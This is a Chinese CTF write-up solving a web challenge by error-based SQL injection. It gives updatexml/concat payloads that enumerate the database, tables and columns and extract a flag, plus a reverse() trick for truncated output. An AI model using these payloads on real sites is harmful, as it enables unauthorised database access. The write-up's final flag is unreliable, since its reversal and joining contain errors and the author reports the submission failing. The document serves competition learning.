第三届上海市大学生网络安全大赛 i春秋CTF Web解题思路

SOME WORDS

      • 1.发现SQL注入
      • 2.尝试SQLMap
      • 3.经实验发现过滤了"="和"and"
      • reverse()函数
      • flag
    • 总结

1.发现SQL注入

第三届上海市大学生网络安全大赛 i春秋CTF Web解题思路_第1张图片

?id=1			有数据
?id=2			有数据
?id=2-1			有数据

2.尝试SQLMap

发现报错:
第三届上海市大学生网络安全大赛 i春秋CTF Web解题思路_第2张图片

3.经实验发现过滤了"=“和"and”

发现页面会返回错误信息,尝试报错注入:
第三届上海市大学生网络安全大赛 i春秋CTF Web解题思路_第3张图片

用到函数:updatexml
updatexml(目标xml内容,xml文档路径,更新的内容)
查询库名
?id=updatexml(1,concat(0x7e,(select database()),0x7e),1)  发现库名:word

第三届上海市大学生网络安全大赛 i春秋CTF Web解题思路_第4张图片

查询有多少张表:
?id=updatexml(1,concat(0x7e,(select count(*) from information_schema.tables ),0x7e),1)  

第三届上海市大学生网络安全大赛 i春秋CTF Web解题思路_第5张图片

查询表名:
?id=updatexml(1,concat(0x7e,(select table_name from information_schema.tables limit 0,1),0x7e),1)?id=updatexml(1,concat(0x7e,(select table_name from information_schema.tables limit 83,1),0x7e),1)

发现有张f14g的表
第三届上海市大学生网络安全大赛 i春秋CTF Web解题思路_第6张图片

查询字段数:
?id=updatexml(1,concat(0x7e,(select count(*) from information_schema.columns ),0x7e),1)

第三届上海市大学生网络安全大赛 i春秋CTF Web解题思路_第7张图片

查询字段名:
?id=updatexml(1,concat(0x7e,(select column_name from information_schema.columns limit 0,1),0x7e),1)?id=updatexml(1,concat(0x7e,(select column_name from information_schema.columns limit 811,1),0x7e),1)

找到f14g字段
第三届上海市大学生网络安全大赛 i春秋CTF Web解题思路_第8张图片

读出数据
?id=updatexml(1,concat(0x7e,(select f14g from f14g),0x7e),1)
发现flag信息不全
flag{
     b892889e-6bbd-421d-b984-d6

reverse()函数

第三届上海市大学生网络安全大赛 i春秋CTF Web解题思路_第9张图片
第三届上海市大学生网络安全大赛 i春秋CTF Web解题思路_第10张图片

颠倒flag内容,从后往前取
?id=updatexml(1,concat(reverse((select f14g from f14g))),1)
}ef99546fdb6d-489b-d124-dbb6-e98

第三届上海市大学生网络安全大赛 i春秋CTF Web解题思路_第11张图片

flag

flag{
     b892889e-6bbd-421d-b984-d6

}ef99546fdb6d-489b-d124-dbb6-e98
取反:
89e-6bbd-421d-b984-d6dbf64599fe}

flag{
     b892889e-6bbd-421d-b984-d66dbf64599fe}

所以最后flag为:flag{b892889e-6bbd-421d-b984-d66dbf64599fe}。


总结

不知道为什么i春秋里的这道题flag提交一直报错。。。。。。也是无语了

第三届上海市大学生网络安全大赛 i春秋CTF Web解题思路_第12张图片

你可能感兴趣的:(CTF小白,web)